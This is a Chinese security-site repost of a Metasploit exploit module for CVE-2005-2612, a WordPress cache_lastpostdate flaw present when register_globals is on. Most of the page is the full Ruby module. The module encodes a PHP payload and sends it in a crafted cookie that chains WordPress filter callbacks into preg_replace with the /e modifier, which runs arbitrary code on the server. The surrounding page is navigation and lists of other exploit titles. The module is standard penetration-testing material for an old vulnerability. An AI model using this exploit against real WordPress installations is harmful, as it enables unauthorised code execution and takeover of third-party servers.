首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WordPress cache_lastpostdate Arbitrary Code Execution
来源:metasploit.com 作者:str0ke 发布时间:2015-03-25  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress cache_lastpostdate Arbitrary Code Execution',
      'Description'    => %q{
          This module exploits an arbitrary PHP code execution flaw in the WordPress
        blogging software. This vulnerability is only present when the PHP 'register_globals'
        option is enabled (common for hosting providers). All versions of WordPress prior to
        1.5.1.3 are affected.
      },
      'Author'         => [ 'str0ke <str0ke[at]milw0rm.com>', 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2005-2612'],
          ['OSVDB', '18672'],
          ['BID', '14533'],
          ['WPVDB', '6034']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'ConnectionType' => 'find'
            },
          'Space'       => 512
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Aug 9 2005',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
      ], self.class)
  end

  def exploit

    enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
    str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
    data =
      "wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
      "wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
      "cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
      ";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
      "wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
      "wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"

    # Trigger the command execution bug
    res = send_request_cgi({
        'uri'      => normalize_uri(datastore['URI']),
        'cookie'   => data
      }, 25)

    if (res)
      print_status("The server returned: #{res.code} #{res.message}")
    else
      print_status("No response from the server")
    end
  end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WordPress W3 Total Cache PHP C
·WordPress OptimizePress Theme
·WordPress Foxypress uploadify.
·Wordpress InfusionSoft Shell U
·WordPress Plugin InBoundio Mar
·WP Marketplace 2.4.0 - Remote
·Bsplayer 2.68 - HTTP Response
·Mini-Stream RM-MP3 Converter 2
·Powershell Remoting Remote Com
·Mini-Stream Ripper 2.7.7.100 B
·Belkin Play N750 login.cgi Buf
·RM Downloader 2.7.5.400 Local
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved